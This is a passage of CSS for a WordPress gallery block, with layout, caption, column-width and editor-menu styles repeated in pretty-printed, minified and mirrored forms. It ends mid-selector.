figure.wp-block-gallery.has-nested-images{
  align-items:normal;
}

.wp-block-gallery.has-nested-images figure.wp-block-image:not(#individual-image){
  margin:0;
  width:calc(50% - var(--wp--style--unstable-gallery-gap, 16px)/2);
}
.wp-block-gallery.has-nested-images figure.wp-block-image{
  box-sizing:border-box;
  display:flex;
  flex-direction:column;
  flex-grow:1;
  justify-content:center;
  max-width:100%;
  position:relative;
}
.wp-block-gallery.has-nested-images figure.wp-block-image>a,.wp-block-gallery.has-nested-images figure.wp-block-image>div{
  flex-direction:column;
  flex-grow:1;
  margin:0;
}
.wp-block-gallery.has-nested-images figure.wp-block-image img{
  display:block;
  height:auto;
  max-width:100% !important;
  width:auto;
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption{
  background:linear-gradient(0deg, #000000b3, #0000004d 70%, #0000);
  bottom:0;
  box-sizing:border-box;
  color:#fff;
  font-size:13px;
  left:0;
  margin-bottom:0;
  max-height:60%;
  overflow:auto;
  padding:0 8px 8px;
  position:absolute;
  scrollbar-color:#0000 #0000;
  scrollbar-gutter:stable both-edges;
  scrollbar-width:thin;
  text-align:center;
  width:100%;
  will-change:transform;
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption::-webkit-scrollbar{
  height:12px;
  width:12px;
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption::-webkit-scrollbar-track{
  background-color:initial;
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption::-webkit-scrollbar-thumb{
  background-clip:padding-box;
  background-color:initial;
  border:3px solid #0000;
  border-radius:8px;
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus-within::-webkit-scrollbar-thumb,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus::-webkit-scrollbar-thumb,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:hover::-webkit-scrollbar-thumb{
  background-color:#fffc;
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus-within,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:hover{
  scrollbar-color:#fffc #0000;
}
@media (hover:none){
  .wp-block-gallery.has-nested-images figure.wp-block-image figcaption{
    scrollbar-color:#fffc #0000;
  }
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption img{
  display:inline;
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption a{
  color:inherit;
}
.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border img{
  box-sizing:border-box;
}
.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border>a,.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border>div,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded>a,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded>div{
  flex:1 1 auto;
}
.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border figcaption,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded figcaption{
  background:none;
  color:inherit;
  flex:initial;
  margin:0;
  padding:10px 10px 9px;
  position:relative;
}
.wp-block-gallery.has-nested-images figcaption{
  flex-basis:100%;
  flex-grow:1;
  text-align:center;
}
.wp-block-gallery.has-nested-images:not(.is-cropped) figure.wp-block-image:not(#individual-image){
  margin-bottom:auto;
  margin-top:0;
}
.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image){
  align-self:inherit;
}
.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image)>a,.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image)>div:not(.components-drop-zone){
  display:flex;
}
.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) a,.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) img{
  flex:1 0 0%;
  height:100%;
  object-fit:cover;
  width:100%;
}
.wp-block-gallery.has-nested-images.columns-1 figure.wp-block-image:not(#individual-image){
  width:100%;
}
@media (min-width:600px){
  .wp-block-gallery.has-nested-images.columns-3 figure.wp-block-image:not(#individual-image){
    width:calc(33.33333% - var(--wp--style--unstable-gallery-gap, 16px)*.66667);
  }
  .wp-block-gallery.has-nested-images.columns-4 figure.wp-block-image:not(#individual-image){
    width:calc(25% - var(--wp--style--unstable-gallery-gap, 16px)*.75);
  }
  .wp-block-gallery.has-nested-images.columns-5 figure.wp-block-image:not(#individual-image){
    width:calc(20% - var(--wp--style--unstable-gallery-gap, 16px)*.8);
  }
  .wp-block-gallery.has-nested-images.columns-6 figure.wp-block-image:not(#individual-image){
    width:calc(16.66667% - var(--wp--style--unstable-gallery-gap, 16px)*.83333);
  }
  .wp-block-gallery.has-nested-images.columns-7 figure.wp-block-image:not(#individual-image){
    width:calc(14.28571% - var(--wp--style--unstable-gallery-gap, 16px)*.85714);
  }
  .wp-block-gallery.has-nested-images.columns-8 figure.wp-block-image:not(#individual-image){
    width:calc(12.5% - var(--wp--style--unstable-gallery-gap, 16px)*.875);
  }
  .wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image){
    width:calc(33.33% - var(--wp--style--unstable-gallery-gap, 16px)*.66667);
  }
  .wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:nth-last-child(2),.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:nth-last-child(2)~figure.wp-block-image:not(#individual-image){
    width:calc(50% - var(--wp--style--unstable-gallery-gap, 16px)*.5);
  }
  .wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:last-child{
    width:100%;
  }
}
.wp-block-gallery.has-nested-images.alignleft,.wp-block-gallery.has-nested-images.alignright{
  max-width:420px;
  width:100%;
}
.wp-block-gallery.has-nested-images.aligncenter{
  justify-content:center;
}.blocks-gallery-grid:not(.has-nested-images),.wp-block-gallery:not(.has-nested-images){display:flex;flex-wrap:wrap;list-style-type:none;margin:0;padding:0}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item{display:flex;flex-direction:column;flex-grow:1;justify-content:center;margin:0 1em 1em 0;position:relative;width:calc(50% - 1em)}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image:nth-of-type(2n),.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item:nth-of-type(2n){margin-right:0}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figure,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figure,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figure,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figure{align-items:flex-end;display:flex;height:100%;justify-content:flex-start;margin:0}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image img,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item img{display:block;height:auto;max-width:100%;width:auto}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figcaption,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figcaption,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figcaption,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figcaption{background:linear-gradient(0deg,#000000b3,#0000004d 70%,#0000);bottom:0;box-sizing:border-box;color:#fff;font-size:.8em;margin:0;max-height:100%;overflow:auto;padding:3em .77em .7em;position:absolute;text-align:center;width:100%;z-index:2}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figcaption img,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figcaption img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figcaption img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figcaption img{display:inline}.blocks-gallery-grid:not(.has-nested-images) figcaption,.wp-block-gallery:not(.has-nested-images) figcaption{flex-grow:1}.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-image a,.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-image img,.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-item a,.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-item img,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-image a,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-image img,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-item a,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-item img{flex:1;height:100%;object-fit:cover;width:100%}.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-item{margin-right:0;width:100%}@media (min-width:600px){.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-item{margin-right:1em;width:calc(33.33333% - .66667em)}.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-item{margin-right:1em;width:calc(25% - .75em)}.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-item{margin-right:1em;width:calc(20% - .8em)}.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-item{margin-right:1em;width:calc(16.66667% - .83333em)}.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-item{margin-right:1em;width:calc(14.28571% - .85714em)}.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-item{margin-right:1em;width:calc(12.5% - .875em)}.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-image:nth-of-type(1n),.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-item:nth-of-type(1n),.blocks-gallery-grid:not(.has-nested-images).columns-2 .blocks-gallery-image:nth-of-type(2n),.blocks-gallery-grid:not(.has-nested-images).columns-2 .blocks-gallery-item:nth-of-type(2n),.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-image:nth-of-type(3n),.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-item:nth-of-type(3n),.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-image:nth-of-type(4n),.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-item:nth-of-type(4n),.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-image:nth-of-type(5n),.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-item:nth-of-type(5n),.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-image:nth-of-type(6n),.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-item:nth-of-type(6n),.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-image:nth-of-type(7n),.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-item:nth-of-type(7n),.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-image:nth-of-type(8n),.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-item:nth-of-type(8n),.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-image:nth-of-type(1n),.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-item:nth-of-type(1n),.wp-block-gallery:not(.has-nested-images).columns-2 .blocks-gallery-image:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images).columns-2 .blocks-gallery-item:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-image:nth-of-type(3n),.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-item:nth-of-type(3n),.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-image:nth-of-type(4n),.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-item:nth-of-type(4n),.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-image:nth-of-type(5n),.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-item:nth-of-type(5n),.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-image:nth-of-type(6n),.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-item:nth-of-type(6n),.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-image:nth-of-type(7n),.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-item:nth-of-type(7n),.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-image:nth-of-type(8n),.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-item:nth-of-type(8n){margin-right:0}}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image:last-child,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item:last-child,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image:last-child,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item:last-child{margin-right:0}.blocks-gallery-grid:not(.has-nested-images).alignleft,.blocks-gallery-grid:not(.has-nested-images).alignright,.wp-block-gallery:not(.has-nested-images).alignleft,.wp-block-gallery:not(.has-nested-images).alignright{max-width:420px;width:100%}.blocks-gallery-grid:not(.has-nested-images).aligncenter .blocks-gallery-item figure,.wp-block-gallery:not(.has-nested-images).aligncenter .blocks-gallery-item figure{justify-content:center}.wp-block-gallery:not(.is-cropped) .blocks-gallery-item{align-self:flex-start}figure.wp-block-gallery.has-nested-images{align-items:normal}.wp-block-gallery.has-nested-images figure.wp-block-image:not(#individual-image){margin:0;width:calc(50% - var(--wp--style--unstable-gallery-gap, 16px)/2)}.wp-block-gallery.has-nested-images figure.wp-block-image{box-sizing:border-box;display:flex;flex-direction:column;flex-grow:1;justify-content:center;max-width:100%;position:relative}.wp-block-gallery.has-nested-images figure.wp-block-image>a,.wp-block-gallery.has-nested-images figure.wp-block-image>div{flex-direction:column;flex-grow:1;margin:0}.wp-block-gallery.has-nested-images figure.wp-block-image img{display:block;height:auto;max-width:100%!important;width:auto}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption{background:linear-gradient(0deg,#000000b3,#0000004d 70%,#0000);bottom:0;box-sizing:border-box;color:#fff;font-size:13px;left:0;margin-bottom:0;max-height:60%;overflow:auto;padding:0 8px 8px;position:absolute;scrollbar-color:#0000 #0000;scrollbar-gutter:stable both-edges;scrollbar-width:thin;text-align:center;width:100%;will-change:transform}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption::-webkit-scrollbar{height:12px;width:12px}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption::-webkit-scrollbar-track{background-color:initial}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption::-webkit-scrollbar-thumb{background-clip:padding-box;background-color:initial;border:3px solid #0000;border-radius:8px}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus-within::-webkit-scrollbar-thumb,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus::-webkit-scrollbar-thumb,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:hover::-webkit-scrollbar-thumb{background-color:#fffc}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus-within,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:hover{scrollbar-color:#fffc #0000}@media (hover:none){.wp-block-gallery.has-nested-images figure.wp-block-image figcaption{scrollbar-color:#fffc #0000}}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption img{display:inline}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption a{color:inherit}.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border img{box-sizing:border-box}.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border>a,.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border>div,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded>a,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded>div{flex:1 1 auto}.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border figcaption,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded figcaption{background:none;color:inherit;flex:initial;margin:0;padding:10px 10px 9px;position:relative}.wp-block-gallery.has-nested-images figcaption{flex-basis:100%;flex-grow:1;text-align:center}.wp-block-gallery.has-nested-images:not(.is-cropped) figure.wp-block-image:not(#individual-image){margin-bottom:auto;margin-top:0}.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image){align-self:inherit}.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image)>a,.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image)>div:not(.components-drop-zone){display:flex}.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) a,.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) img{flex:1 0 0%;height:100%;object-fit:cover;width:100%}.wp-block-gallery.has-nested-images.columns-1 figure.wp-block-image:not(#individual-image){width:100%}@media (min-width:600px){.wp-block-gallery.has-nested-images.columns-3 figure.wp-block-image:not(#individual-image){width:calc(33.33333% - var(--wp--style--unstable-gallery-gap, 16px)*.66667)}.wp-block-gallery.has-nested-images.columns-4 figure.wp-block-image:not(#individual-image){width:calc(25% - var(--wp--style--unstable-gallery-gap, 16px)*.75)}.wp-block-gallery.has-nested-images.columns-5 figure.wp-block-image:not(#individual-image){width:calc(20% - var(--wp--style--unstable-gallery-gap, 16px)*.8)}.wp-block-gallery.has-nested-images.columns-6 figure.wp-block-image:not(#individual-image){width:calc(16.66667% - var(--wp--style--unstable-gallery-gap, 16px)*.83333)}.wp-block-gallery.has-nested-images.columns-7 figure.wp-block-image:not(#individual-image){width:calc(14.28571% - var(--wp--style--unstable-gallery-gap, 16px)*.85714)}.wp-block-gallery.has-nested-images.columns-8 figure.wp-block-image:not(#individual-image){width:calc(12.5% - var(--wp--style--unstable-gallery-gap, 16px)*.875)}.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image){width:calc(33.33% - var(--wp--style--unstable-gallery-gap, 16px)*.66667)}.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:nth-last-child(2),.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:nth-last-child(2)~figure.wp-block-image:not(#individual-image){width:calc(50% - var(--wp--style--unstable-gallery-gap, 16px)*.5)}.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:last-child{width:100%}}.wp-block-gallery.has-nested-images.alignleft,.wp-block-gallery.has-nested-images.alignright{max-width:420px;width:100%}.wp-block-gallery.has-nested-images.aligncenter{justify-content:center}figure.wp-block-gallery{display:block}figure.wp-block-gallery>.blocks-gallery-caption{flex:0 0 100%}figure.wp-block-gallery>.blocks-gallery-media-placeholder-wrapper{flex-basis:100%}figure.wp-block-gallery .wp-block-image .components-notice.is-error{display:block}figure.wp-block-gallery .wp-block-image .components-notice__content{margin:4px 0}figure.wp-block-gallery .wp-block-image .components-notice__dismiss{left:5px;position:absolute;top:0}figure.wp-block-gallery .block-editor-media-placeholder.is-appender .components-placeholder__label{display:none}figure.wp-block-gallery .block-editor-media-placeholder.is-appender .block-editor-media-placeholder__button{margin-bottom:0}figure.wp-block-gallery .block-editor-media-placeholder{margin:0}figure.wp-block-gallery .block-editor-media-placeholder .components-placeholder__label{display:flex}figure.wp-block-gallery .block-editor-media-placeholder figcaption{z-index:2}figure.wp-block-gallery .components-spinner{margin-right:-9px;margin-top:-9px;position:absolute;right:50%;top:50%}.gallery-settings-buttons .components-button:first-child{margin-left:8px}.gallery-image-sizes .components-base-control__label{display:block;margin-bottom:4px}.gallery-image-sizes .gallery-image-sizes__loading{align-items:center;color:#757575;display:flex;font-size:12px}.gallery-image-sizes .components-spinner{margin:0 4px 0 8px}.blocks-gallery-item figure:not(.is-selected):focus,.blocks-gallery-item img:focus{outline:none}.blocks-gallery-item figure.is-selected:before{bottom:0;box-shadow:0 0 0 1px #fff inset,0 0 0 3px var(--wp-admin-theme-color) inset;content:"";left:0;outline:2px solid #0000;pointer-events:none;position:absolute;right:0;top:0;z-index:1}.blocks-gallery-item figure.is-transient img{opacity:.3}.blocks-gallery-item .is-selected .block-library-gallery-item__inline-menu{display:inline-flex}.blocks-gallery-item .block-editor-media-placeholder{height:100%;margin:0}.blocks-gallery-item .block-editor-media-placeholder .components-placeholder__label{display:flex}.block-library-gallery-item__inline-menu{background:#fff;border:1px solid #1e1e1e;border-radius:2px;display:none;margin:8px;position:absolute;top:-2px;transition:box-shadow .2s ease-out;z-index:20}@media (prefers-reduced-motion:reduce){.block-library-gallery-item__inline-menu{transition-delay:0s;transition-duration:0s}}.block-library-gallery-item__inline-menu:hover{box-shadow:0 .7px 1px #0000001a,0 1.2px 1.7px -.2px #0000001a,0 2.3px 3.3px -.5px #0000001a}@media (min-width:600px){.columns-7 .block-library-gallery-item__inline-menu,.columns-8 .block-library-gallery-item__inline-menu{padding:2px}}.block-library-gallery-item__inline-menu .components-button.has-icon:not(:focus){border:none;box-shadow:none}@media (min-width:600px){.columns-7 .block-library-gallery-item__inline-menu .components-button.has-icon,.columns-8 .block-library-gallery-item__inline-menu .components-button.has-icon{height:inherit;padding:0;width:inherit}}.block-library-gallery-item__inline-menu.is-left{right:-2px}.block-library-gallery-item__inline-menu.is-right{left:-2px}.wp-block-gallery ul.blocks-gallery-grid{margin:0;padding:0}@media (min-width:600px){.wp-block-update-gallery-modal{max-width:480px}}.wp-block-update-gallery-modal-buttons{display:flex;gap:12px;justify-content:flex-end}.blocks-gallery-caption{color:#555;font-size:13px;text-align:center}.is-dark-theme .blocks-gallery-caption{color:#ffffffa6}figure.wp-block-gallery{
  display:block;
}
figure.wp-block-gallery>.blocks-gallery-caption{
  flex:0 0 100%;
}
figure.wp-block-gallery>.blocks-gallery-media-placeholder-wrapper{
  flex-basis:100%;
}
figure.wp-block-gallery .wp-block-image .components-notice.is-error{
  display:block;
}
figure.wp-block-gallery .wp-block-image .components-notice__content{
  margin:4px 0;
}
figure.wp-block-gallery .wp-block-image .components-notice__dismiss{
  position:absolute;
  right:5px;
  top:0;
}
figure.wp-block-gallery .block-editor-media-placeholder.is-appender .components-placeholder__label{
  display:none;
}
figure.wp-block-gallery .block-editor-media-placeholder.is-appender .block-editor-media-placeholder__button{
  margin-bottom:0;
}
figure.wp-block-gallery .block-editor-media-placeholder{
  margin:0;
}
figure.wp-block-gallery .block-editor-media-placeholder .components-placeholder__label{
  display:flex;
}
figure.wp-block-gallery .block-editor-media-placeholder figcaption{
  z-index:2;
}
figure.wp-block-gallery .components-spinner{
  left:50%;
  margin-left:-9px;
  margin-top:-9px;
  position:absolute;
  top:50%;
}
.gallery-settings-buttons .components-button:first-child{
  margin-right:8px;
}

.gallery-image-sizes .components-base-control__label{
  display:block;
  margin-bottom:4px;
}
.gallery-image-sizes .gallery-image-sizes__loading{
  align-items:center;
  color:#757575;
  display:flex;
  font-size:12px;
}
.gallery-image-sizes .components-spinner{
  margin:0 8px 0 4px;
}
.blocks-gallery-item figure:not(.is-selected):focus,.blocks-gallery-item img:focus{
  outline:none;
}
.blocks-gallery-item figure.is-selected:before{
  bottom:0;
  box-shadow:0 0 0 1px #fff inset, 0 0 0 3px var(--wp-admin-theme-color) inset;
  content:"";
  left:0;
  outline:2px solid #0000;
  pointer-events:none;
  position:absolute;
  right:0;
  top:0;
  z-index:1;
}
.blocks-gallery-item figure.is-transient img{
  opacity:.3;
}
.blocks-gallery-item .is-selected .block-library-gallery-item__inline-menu{
  display:inline-flex;
}
.blocks-gallery-item .block-editor-media-placeholder{
  height:100%;
  margin:0;
}
.blocks-gallery-item .block-editor-media-placeholder .components-placeholder__label{
  display:flex;
}

.block-library-gallery-item__inline-menu{
  background:#fff;
  border:1px solid #1e1e1e;
  border-radius:2px;
  display:none;
  margin:8px;
  position:absolute;
  top:-2px;
  transition:box-shadow .2s ease-out;
  z-index:20;
}
@media (prefers-reduced-motion:reduce){
  .block-library-gallery-item__inline-menu{
    transition-delay:0s;
    transition-duration:0s;
  }
}
.block-library-gallery-item__inline-menu:hover{
  box-shadow:0 .7px 1px #0000001a,0 1.2px 1.7px -.2px #0000001a,0 2.3px 3.3px -.5px #0000001a;
}
@media (min-width:600px){
  .columns-7 .block-library-gallery-item__inline-menu,.columns-8 .block-library-gallery-item__inline-menu{
    padding:2px;
  }
}
.block-library-gallery-item__inline-menu .components-button.has-icon:not(:focus){
  border:none;
  box-shadow:none;
}
@media (min-width:600px){
  .columns-7 .block-library-gallery-item__inline-menu .components-button.has-icon,.columns-8 .block-library-gallery-item__inline-menu .components-button.has-icon{
    height:inherit;
    padding:0;
    width:inherit;
  }
}
.block-library-gallery-item__inline-menu.is-left{
  left:-2px;
}
.block-library-gallery-item__inline-menu.is-right{
  right:-2px;
}

.wp-block-gallery ul.blocks-gallery-grid{
  margin:0;
  padding:0;
}

@media (min-width:600px){
  .wp-block-update-gallery-modal{
    max-width:480px;
  }
}

.wp-block-update-gallery-modal-buttons{
  display:flex;
  gap:12px;
  justify-content:flex-end;
}.blocks-gallery-grid:not(.has-nested-images),.wp-block-gallery:not(.has-nested-images){display:flex;flex-wrap:wrap;list-style-type:none;margin:0;padding:0}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item{display:flex;flex-direction:column;flex-grow:1;justify-content:center;margin:0 0 1em 1em;position:relative;width:calc(50% - 1em)}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image:nth-of-type(2n),.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item:nth-of-type(2n){margin-left:0}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figure,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figure,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figure,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figure{align-items:flex-end;display:flex;height:100%;justify-content:flex-start;margin:0}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image img,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item img{display:block;height:auto;max-width:100%;width:auto}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figcaption,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figcaption,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figcaption,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figcaption{background:linear-gradient(0deg,#000000b3,#0000004d 70%,#0000);bottom:0;box-sizing:border-box;color:#fff;font-size:.8em;margin:0;max-height:100%;overflow:auto;padding:3em .77em .7em;position:absolute;text-align:center;width:100%;z-index:2}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figcaption img,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figcaption img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figcaption img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figcaption img{display:inline}.blocks-gallery-grid:not(.has-nested-images) figcaption,.wp-block-gallery:not(.has-nested-images) figcaption{flex-grow:1}.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-image a,.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-image img,.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-item a,.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-item img,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-image a,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-image img,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-item 